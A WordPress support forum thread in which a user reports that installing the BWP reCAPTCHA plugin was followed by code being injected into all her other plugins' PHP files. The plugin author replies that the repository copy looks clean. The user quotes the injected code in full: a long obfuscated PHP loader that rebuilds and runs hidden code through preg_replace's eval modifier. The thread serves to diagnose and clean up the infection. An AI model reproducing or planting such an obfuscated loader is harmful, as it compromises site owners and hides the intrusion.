Title: Plugin Has Malware
Last modified: August 22, 2016

---

# Plugin Has Malware

 *  Resolved [Jenny](https://wordpress.org/support/users/enigma666666/)
 * (@enigma666666)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/)
 * I installed your plugin on a client’s website this morning. Immediatelly upon
   installation, all my plugins disappeared from wp-admin. I deleted your plugin
   and restored the website, to no avail. Although the plugins appeared in ftp view
   inside plugins folder, they did not appear on the website nor in wp-admin.
 * So I now went through the index.php of each of my previously active plugins and
   found that upon installing your plugin, malicious code got inserted inside the
   top section of each index.php file of all other plugins in the plugin folder.
 * Im now having to clean up the mess.
 * I can send you the malicious code if you want to have a look at it.
 * [https://wordpress.org/plugins/bwp-recaptcha/](https://wordpress.org/plugins/bwp-recaptcha/)

Viewing 6 replies - 1 through 6 (of 6 total)

 *  Thread Starter [Jenny](https://wordpress.org/support/users/enigma666666/)
 * (@enigma666666)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244132)
 * Correction, the hacking code injects into all php files of other plugins, not
   only the index.php files
 *  Plugin Author [Khang Minh](https://wordpress.org/support/users/oddoneout/)
 * (@oddoneout)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244149)
 * I have just done a quick check and the codes in WordPress’s SVN looks clean. 
   The malware could have come from something else.
 * Wondering if other users are experiencing this?
 * You can post the malicious codes, btw.
 *  Thread Starter [Jenny](https://wordpress.org/support/users/enigma666666/)
 * (@enigma666666)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244208)
 * Granted, but the only thing that I did, was to install the plugin.
 * Here is the code injected inside all php files of all plugins in the plugin folder,
   upon installation of the plugin.
 * <?php $xrjhmxowac = ‘:>:8:|:7#6#)tutjyf%x5c%x7860439275ttjpo)##-!#~<#%x5c%x782f%
   x5c%x7825%x5c%x782x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)
   gj!|!*nbsb*3!%x5c%x7827!hmg%x5c%xc%x7822)gj6<^#Y#%x5c%x785cq%x5c%x782x7825epnbss-%
   x5c%x7825r%x5c%x7878W~>>1*!%x5c%x7825b:>1<!fmtf!ftpmdXA6|7**197-2qj%x5c%x78257-
   Kk;opjudovg}%x5c%x7878;0]=])0#)U!%x5c%x7827{**u%x5c%4]275]D:M8]Df#<%x5c%x7825tdz
   >#L4]275L3]248L3P6L1M5]D2P4]D6#<%xhA%x5c%x78272qj%x5c%x78256<^#zsfvr#%x5c%x785cq%
   x5c%x7vufs}%x5c%x7827;mnui}&;zepc}A;~!}%x5c%x787f;!|!}{;)gj}l;33bq}%x78b%x5c%
   x7825ggg!>!#]y81]273]y76]258]y6g]273]y76]271]7825hW~%x5c%x7825fdy)##-!#~<%x5c
   <!%x5c%x7825ff2!>!bssbz)%x5c%x7824]2525)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!
   +Atjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x7825b:>%x5c%x7825s:%
   x7825!|!*#91y]c9y]g2y]##%x5c%x782f*#npd%x5c%x782f#)rrd%x5c%x782f#00;quui#>.%x5c%
   x7284]364]6]234]342]58]24]31#-%x5c%x7825tdz*Wsfuvso!%x5c%xerror_reporting(0);
   preg_replace(“%x2f%50%x2e%52%x29%57%x65”,”%Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%
   x7825Kc#<%x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7822#)fepmqyfA>2b%x5c%x7825!<*qp%x5c%
   x7x65%166%x61%154%x28%151%x6d5c%x787f_*#[k2%x5c%x7860{6:!}7;!}6;##}C;!>>!}W;utpi}
   Y;tuof5c%x787f%x5c%x787f%x5c%x787f%x5c56<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%
   x7827px7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x47]67y]37]88y]
   27]28y]#%x5c%x7%x7824<!%x5c%x7825o:!>!%x5c%x78242178}527}88:}334}472%x5c%x7824
   <h>#]y31]278]y3e]81]K78:567f;!osvufs}w;*%x5c%x787f!>>%x5c%x7822!pd%x5c%x78uopd%
   x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;%x5c%x7860ufldpt}X;72]37y]672]48y]#
   >s%x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]y7d]252]y74]256#<!%x5c%x7825ggg)(
   0)%x5c%x782f+*c%x7827;%x5c%x7825!<*#}_;#)%x5c%x7825%x5c%x787f!<X>b%x5c%x7825Z
   <#opo#>b%utRe%x5c%x7825)Rd%x5c%x7825)Rb%x5c_*#fmjgk4%x5c%x7860{6~6<tfs%x5c%x7825x5c%
   x7824-%x5c%x7824*<!~!dsfbuf%x5c%x7860gvodu825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#%
   x5c%x782f#%x5c%x782f},;#-fwjidsb%x5c%x7860bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)
   fepmqnj!%x5c%x782f0f(-!#]y76]277]y72]265]y39323ldfid>}&;!osvufs}%x5c%x787f;!opjudovg}
   k~~9{d%x5c%x7825:osvufs:~928>x5c%x7825)}.;%x5c%x7860UQPMSVD!-id%x5c%x7825)uqpuft%
   x5c%x786)udfoopdXA%x5c%x7822id%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%
   x787f<*X&Z&S{ftmfV%x5c%x787f<*XAZASV<*w%x5c%x7825)ppde>u%x5c%x5c%x7825}U;y]}R;
   2]},;osy72]265]y39]274]y85]273]y6g]273]y76]271]y7d]252]y74]2y6g]257]y86]267]y74]
   275]y7:]268]y7f#<!%x5c%x7825tww!>!%x5c%x7y33]65]y31]53]y6d]281]y43]78]y33]65]
   y31]55]y85]82]y76]62]y3:0GB)fubfsdXA%x5c%x7825tww**WYsboepn)%x5c%x7825bss-%x5c%
   x7825r%x5c%x7878B%x5c%x7825%x7825j,,*!|%x5c%x7824-%x5c%x7827825bss%x5c%x785csboe))
   1%x5c%x782f56]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]y84x7878:-!%x5c%x7825tzw%
   x5c%x782f%x5c%x7824)#P#-#Q#-#B#->%x5c%x7822:ftmbg39*56Ax7825Z<^2%x5c%x785c2b%
   x5c%x7825!>!2p%x5c%x7825!*3>?*2b%x5%x5c%x7860msvd}R;*msv%>>*4-1-bubE{h%x5c%x7825)
   sutcvt)!gj!|!*bubE{h%xc^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x7825j
   =6[%x!%x5c%x7825mm!>!#]y81]273]y76]258]y6g]273]y76]271]y7d]252]y74]256#2f7rfs%
   x5c%x78256<#o]1%x5c%x782f7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|8257%x5c%
   x782f7#@#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x)#%x5c%x7824*<!%x5c%x7825kj:!
   >!#]y3d]51]y35]256]0msvd},;uqpuft%x5c%x7860msvd}+;!>7824-%x5c%x7824tvctus)%x55z
   >!tussfw)%x5c%x7825zW%x5c%x7825h>EzH,2W%x5c%x7825wN;#-Ez-1~!<2p%x5c%x7825%x5c%
   x787f!~!<##!>!2p%x5c%985:6197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-%x5c%x7825G]
   y6d]281Ld]245]K2]285]Ke]53Ld]53]Kc]5525z>3<!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%
   x5c%x7825w%x5c%x7860TW~%x5-!%x5c%x7825%x5c%x7824-%x5c%%x7825h00#*<%x5c%x7825nfd)##
   Qtpz)#]341]88M4P8]37]278]225]24!#0#)idubn%x5c%x7860hfsq)!s#}#-#%x5c%x7824-%x5c%
   x7824-tusqpt)%x5c%x7825782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#nfd
   >%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x78257825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{
   h%x5c%x7825)tpqsut>j%x5c%x7825!5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5c%x785cq%x5c%
   x78257**^#zsf#T#-#E#-#G#-#H#-#I#-#K#-#L#-#Mx5c%x78256<*Y%x5c%x7825)fnbozcYuf]
   DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]DE{h%x5c%x7825)tpqsut>j%x5c%
   x7825!*9!%x5c1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde:4:|:**#ppde#%x78223}!+!<+{e%
   x5c%x7825+*!*+fepdfe{h+{d%x5c%x78>U<#16,47R57,27R66,#%x5c%x782fq%x5c%x7825>2q%
   x5c%x825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#0d%x5c%x78256
   <C%x5c%x7827pd%x5c%x78256|6.7eu{66~bubE{h%x5c%x7825)sutcvt)fubmgoj{hA!osvufs!
   ~<3,j%x5c%x7825>j%x5c%x7825!!>!{e%x5c%x7825)!>>%x5c%x7822!ftmbg)!gj<*#k#)usbut%
   x5c%x7860cpV%xx78786<C%x5c%x7827&6<*rfs%x5c82400~:<h%x5c%x7825_t%x5c%x7825:osvufs:
   ~:<*9-1-r%x5c%x7w6<%x5c%x787fw6*CWtfs%x5c%x7825)7gj6<}Z;^nbsbq%x5c%x7825%x5c%
   x785cSFWSFT%x5c%x7860%x5c%x7$GLOBALS[“%x61%156%x75%156%x%x7825V<#65,47R25,d7R17,67R37,#%
   x5c%x782fq%x5c%x7825x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x78]271]y83]
   256]y78]248]y83]256]y81]61”])))) { $GLOBALS[“%x61%1566%x5c%x7824-%x5c%x7824<%
   x5c5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x7827k:!ftmf!x5c%x78256~6<%x5c%x787fw6
   <*K)25t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)%x5c%x78x5c%x7825c!>!%x5c%x7825i%x5c%
   x785c2^<!Ce*[!%x5c%x7825c%x5c%x7878:!>#]y3g]61]y3f]63]y3:]68%x75%156%x61″]=1;
   function fjfgg($n){return chr(ord($n)-1);} [@fs](https://wordpress.org/support/users/fs/)%
   x5c%x78256<*17-SFEBFI,6<*127-UVPFNJU,6<*27-SFGTOBSUOSVU<pd%x5c%x7825w6Z6<.3%x5c%
   x7860hA%x5c%x7827pd%x5c%x782]275]y83]248]y83]256]y81]265]y72]254]y7622%134%x78%
   62%x35%165%x3a%146%x21%76%x21%50%x5c%x7825}#-!tussfw)%x5c%x7825c*W%x5c%x7825eN
   +#Qi%x5c%x785c1^W%825)7gj6<**2qj%x5c%x7825)hopm3qjA)x5c%x7824gps)%x5c%x7825j>
   1<%x5c%x7825j=tj{fpg)%x5c%x7825%5%x5c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7
   >q%x5c%x78256<%x55c%x7825=*h%x5c%x7825)m%x5c%x7825):fmji%x5c%x7878:<##:>:7827doj%
   x5c%x78256<%x5c%x787fw6*%x5c%x787fh%x5c%x7825:<#64y]552]e7y]#>n%x5c%x7825<#372]
   58y]4%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[4gvodujpo!%x5c%x7824-%x5c%x7824y7%
   x5c%x7824-%x5c%x7824*<!%x5c%x7824-%!*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%#<%
   x5c%x7825tmw!>!#]y84]275]y83]27%x5c%x7824-%x5c%x7824%160%x6c%157%x64%145%x28%
   141%x72%162%x61%171%x5f%155%x61%160%x28%42%x6%x7827!hmg%x5c%x7825)!gj!~<ofmy%
   x5c%x7825,3,j%x5c%x7825>j%x%x74%141%x72%164”) && (!isset(fsdXk5%x5c%x7860{66~
   x7825V<*#fopoV;hojepdoF.uofuopD#)sfebfI{*w%x5c%x7825)kx7825-#jt0}Z;0]=]0#)2q%
   x5c%x7825l}S;2-u%x5c%x7825!-#2#%x5c%x#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%
   x5c%x782f%x5fsqnpdov{h19275j{hnpd19275fubmgoj{h6%152%x66%147%x67%42%x2c%163%x74%
   162%x5f%163%x70%154%x69%164%50%xc%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm)%x5c%x7825%
   x5c%%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u%x5c%x7825)7fmji%x5c%238M7]381]
   211M5]67]452]88]5]48]32M3]317]445]212]445]43]321]464]57-C)fepmqnjA%x5c%x7827&
   6<.fmjgA%x5c%x825)s%x5c%x7825>%x5c%x782fh%x5c%x7825:<**#57]38y]6f+9f5d816:+946:
   ce44#)zbssb!>!ssbnpe_GMFT%x5c%x786FS,6<*msv%x5c%x78257-MSV,6<*)ujojR%x5c%x7827x7825)
   sutcvt)esp>hmg%x5c%x7825!<12>j%x5c%x00#W~!Ydrr)%x5c%x7825r%x5c%x7878Bsfuvso!sboepn)%
   x5c%c%x787fw6*%x5c%x787f_*#fub*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tif((
   function_exists(“%x6f%142%x5f%163-bubE{h%x5c%x7825)sutcvt-#w#)ldbqov>*ofmy%x5c%
   x25j:=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:jt0*?]+^?]_%x5c%x785c}
   X%x5c%x25)!gj}Z;h!opjudovg}{;#)tutjyf%x5c%x7860opjudovg)!gj!|!*msv%x5c%xwTW%x5c%
   x7825hIr%x5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%5c%x7878r.985:52985-t.98]K4]65]
   D8]86]y31]278]y3f]51L3]84]y31M6]y3e]815c%x7825!<**3-j%x5c%x7825#%x5c%x782f#7e:
   55946-tr.984:75983:48hnpd#)tutjyf%x5c%x7860opjudovg%x5c%x7822)!gj}1!Ypp2)%x5c%
   x7825zB%x5c%x7827825<#g6R85,67R37,18R#>q%x5c%I&e_SEEB%x5c%x7860FUPNFS&d_SFSFGFS%
   x5c%x7860825yy>#]D6]281L1#%x5c%x782f#M5##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)sf%
   x5c%x7867<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)u%x7825:-t%x5c%
   x7825)3of:opjudovg<~%x5cp!*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqss)tutjyf%
   x5c%x78604%x5c5c%x7825)j{hnpd!opjudovg!|!**#j{c%x7824-%x5c%x7824y4%x5c%x7824-%
   x5c%x7824]y8%x5c%x7824-%x5c%x7824]227K6<%x5c%x787fw6*3qj%x5c%x78257>%x5c%x782272qj%
   x5c%x74-%x5c%x7824!>!fyqmpef%x5c%x7824Ypp3)%x5c%x7825cB%x5c%x7825iN825!<***f%
   x5c%x7827,*e%x5c%x7827,*%x7825))!gj!<*#cd2bge56+99386cc%x7825kj:-!OVMM*<(<%x5c%
   x78e%x5cqj3hopmA%x5c%x78273qj%%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;utpI#
   7>%x5c%x7867y]562]38y]572]48y]#>m%x5c%x7825:|:*r%x5c3]y76]277#<%x5c%x7825t2w>#]
   y74]273]y76]252]y85]256])7gj6<*QDU%x5c%x7860MPT7-NBFSUT%x5c%x7860LDPT7-UFOJ%x5c%
   x7866<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x*72!%x5c%x7827!
   hmg%x5c%x7825)!gj!<2,*j%x5c%x7825-#1]#-bubc%x7825)gpf{jt)!gj!<*2bd%x5c%x7825-#
   1GO%x5c%x7x5c%x7825hOh%x5c%x782f#00#W~!%x5c%x787824<!%x5c%x7825tzw>!#]y76]277]
   H*WCw*[!%x5c%x7825rN}#QIjQeTQcOc%x5c%x782f#5c%x7825ww2!>#p#%x5c%x782f#p#%y76]
   72]y3d]51]y35]274]y4:]82]y3:]62]y4c#<!%x5c%x7825t::!>!1]334]368]322]3]364]6]283]
   427]36]373P6]36]73]83]6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78235.)1%x5c%x782f14
   +9**-)1%x5c%x782f2986+7**^vr#%x5c%x785cq%x5c%x7825)ufttj%x5%x5c%x782f%x5c%x7825r%
   x5c%x7878<~!!%x5c%x7825s:N}#-%x5c%x7:::::-111112)eobs%x5c%5c%x785c%x5c%x7825j:.
   2^,%x5c%x7825b:<!%x5c%x7825c:>%x5c%x7825s:%x5c%xV%x5c%x7878{**#k#)tutjyf%x5c%
   x7860%x5c%x7878%x5c%x7822l:!}V;3qQUUI&c_UOFHB%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%
   x7825!|!*)323zbek!~!<b0QIQ&f_UTPI%x5c%x7860QUUtdz)%x5c%x7825bbT-%x5c%x7825bT-%
   x5c%xc%x7825-#+I#)q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%x782fqp%x5c%
   x7825>5h%x5c%x7825!<*:984:71]K9]77]D4]82]K6]72]K9]78]K5]53]7825)}k~~~<ftmbg!osvufs!
   |ftmf!~<**9.-j%x5c%x7825-x7860un>qp%x5c%x7825!|Z~!<]84#-!OVMM*<%x22%51%x29%5178pmpusut!-#
   j0#!%x5c%x782f!**#sfmcnbs+yfeobz+s825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%
   x7825j:>1<%x5c%x78z-#:#*%x5c%x7824-%x5c%x7824!>!tus%x5c%x7860sfqmbdf)%x5c%x7825%
   x5265]y72]254]y76]61]y33]68]y34]68]c%x7825%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)
   20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%82fr%x5c%x7825%x5c%x782fh%x5c%x7825)n%
   x5#}+;%x5c%x7825-qp%x5c%x7825)54l}%x5]y76#<%x5c%x78e%x5c%x78b%x5c%x7825w:!>!%
   x5c%x78246767~6<Cw785c%x5c%x7825j:^<!%x5c%x7825w%x5c%x7860%x5c%x785%x29%73″, 
   NULL); }q%x5c%x7825)323ldfidk!~!<**qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x%
   x787f<u%x5c%x7825V%x5c%x7827{ftmfV%x5cd%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof.)
   fepdof.%x5c%x782f#@#%x!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x78A%x5c%
   x7827&6<%x5c%x787fw6*%x5c%x7825w6Z6<.4%x5c%x7860hA%x5c%x7827pd%x5c%x78256/(.*)/
   epreg_replacepqhjvmwkca’; $rqudnywnyc = explode(chr((191-147)),’6855,37,6005,30,4619,28,4781,29,5050,62,910,63,1091,27,5876,70,6257,65,5263,53,5015,35,9676,58,8208,61,10056,50,5170,53,1208,45,4264,47,7497,56,692,54,6376,63,4446,29,7995,60,3000,32,9562,39,4887,29,267,32,2138,20,8148,60,2469,20,7761,54,5370,34,7973,22,3926,33,412,53,3077,60,3834,62,8703,33,170,36,5461,62,6777,26,6035,20,8619,41,6502,38,5579,42,1765,37,4530,37,6803,52,5112,58,6639,44,2158,51,5671,41,10027,29,1118,58,1477,70,2801,22,2078,60,3185,33,9976,51,1429,48,7025,65,9209,49,4311,70,147,23,3766,68,8269,57,4012,40,5946,59,7213,25,6892,47,3032,45,5781,40,6683,42,773,22,2823,46,7662,32,7274,46,3303,41,2744,57,8326,46,1053,38,4199,65,795,59,7876,34,9908,68,9135,37,8794,22,9258,26,7450,47,9310,46,1912,70,3598,27,7591,49,1731,34,7910,30,6589,50,9016,24,7376,44,8947,69,1686,45,77,70,9801,68,4837,50,4567,52,1848,64,9641,35,1659,27,2008,70,2721,23,0,36,6222,35,4052,48,7640,22,4100,49,650,42,4381,65,1176,32,9869,39,2209,61,4647,52,4149,50,7347,29,6055,54,8885,62,2270,25,465,61,299,51,6109,60,3669,51,6996,29,8409,31,2295,53,2617,50,5223,40,5821,34,8097,51,2348,61,4475,55,6540,49,1311,29,9601,40,9077,58,5523,56,5621,50,1547,65,8055,42,7553,38,1340,64,2934,66,613,37,5855,21,3511,28,1253,58,3218,25,9517,45,3625,44,9420,64,7694,67,4810,27,2551,32,5712,69,5404,57,1802,46,36,41,7815,22,3137,48,8513,58,7837,39,5316,54,4961,54,8463,20,6725,52,206,35,7320,27,3243,60,8440,23,7090,54,8372,37,4916,45,2489,62,1404,25,3344,52,7144,69,7238,36,9172,37,1015,38,7420,30,3959,53,350,62,3396,47,973,42,3720,46,9040,37,581,32,3539,59,8571,48,6439,63,854,56,2583,34,8660,43,8736,58,9356,64,6939,57,241,26,746,27,8816,69,9734,49,2869,65,8483,30,4699,49,3443,68,6322,54,2667,54,3896,30,6169,53,7940,33,526,55,1612,47,1982,26,4748,33,9484,33,2409,60,9284,26,9783,18′);
   $wvfacrtpht=substr($xrjhmxowac,(54103-43997),(44-37)); if (!function_exists(‘
   oobdudqvdk’)) { function oobdudqvdk($kfdnazuldm, $bowzsovwey) { $eukpqfhwqd =
   NULL; for($qzacyxffzu=0;$qzacyxffzu<(sizeof($kfdnazuldm)/2);$qzacyxffzu++) { 
   $eukpqfhwqd .= substr($bowzsovwey, $kfdnazuldm[($qzacyxffzu*2)],$kfdnazuldm[(
   $qzacyxffzu*2)+1]); } return $eukpqfhwqd; };} $esftebfhmy=”\x20\57\x2a\40\x65\
   172\x6f\171\x78\145\x7a\156\x77\165\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\
   162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\62\x30\55\x31\
   70\x33\51\x29\54\x20\143\x68\162\x28\50\x36\60\x35\55\x35\61\x33\51\x29\54\x20\
   157\x6f\142\x64\165\x64\161\x76\144\x6b\50\x24\162\x71\165\x64\156\x79\167\x6e\
   171\x63\54\x24\170\x72\152\x68\155\x78\157\x77\141\x63\51\x29\51\x3b\40\x2f\52\
   x20\172\x74\151\x74\154\x78\141\x63\152\x6b\40\x2a\57\x20”; $dkjcxrtbib=substr(
   $xrjhmxowac,(63873-53760),(59-47)); $dkjcxrtbib($wvfacrtpht, $esftebfhmy, NULL);
   $dkjcxrtbib=$esftebfhmy; $dkjcxrtbib=(723-602); $xrjhmxowac=$dkjcxrtbib-1; ?>
   <?php
 *  Thread Starter [Jenny](https://wordpress.org/support/users/enigma666666/)
 * (@enigma666666)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244209)
 * After manually deleting the above code from php files of all the plugins, the
   plugins once again appeared in wp-admin, so I could reactivate them and they 
   are now functioning properly.
 *  Thread Starter [Jenny](https://wordpress.org/support/users/enigma666666/)
 * (@enigma666666)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244214)
 * I think I have found a name for this hack on google, apparently its called “PHP
   Exploit P0358”
 *  Plugin Author [Khang Minh](https://wordpress.org/support/users/oddoneout/)
 * (@oddoneout)
 * [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244238)
 * Can you try deleting BWP recaptcha and then reinstalling it again? Before doing
   that though, you should backup wp-content folder just in case.

Viewing 6 replies - 1 through 6 (of 6 total)

The topic ‘Plugin Has Malware’ is closed to new replies.

 * ![](https://s.w.org/plugins/geopattern-icon/bwp-recaptcha.svg)
 * [Better WordPress reCAPTCHA (with no CAPTCHA reCAPTCHA)](https://wordpress.org/plugins/bwp-recaptcha/)
 * [Frequently Asked Questions](https://wordpress.org/plugins/bwp-recaptcha/#faq)
 * [Support Threads](https://wordpress.org/support/plugin/bwp-recaptcha/)
 * [Active Topics](https://wordpress.org/support/plugin/bwp-recaptcha/active/)
 * [Unresolved Topics](https://wordpress.org/support/plugin/bwp-recaptcha/unresolved/)
 * [Reviews](https://wordpress.org/support/plugin/bwp-recaptcha/reviews/)

 * 6 replies
 * 2 participants
 * Last reply from: [Khang Minh](https://wordpress.org/support/users/oddoneout/)
 * Last activity: [11 years, 9 months ago](https://wordpress.org/support/topic/plugin-has-malware/#post-5244238)
 * Status: resolved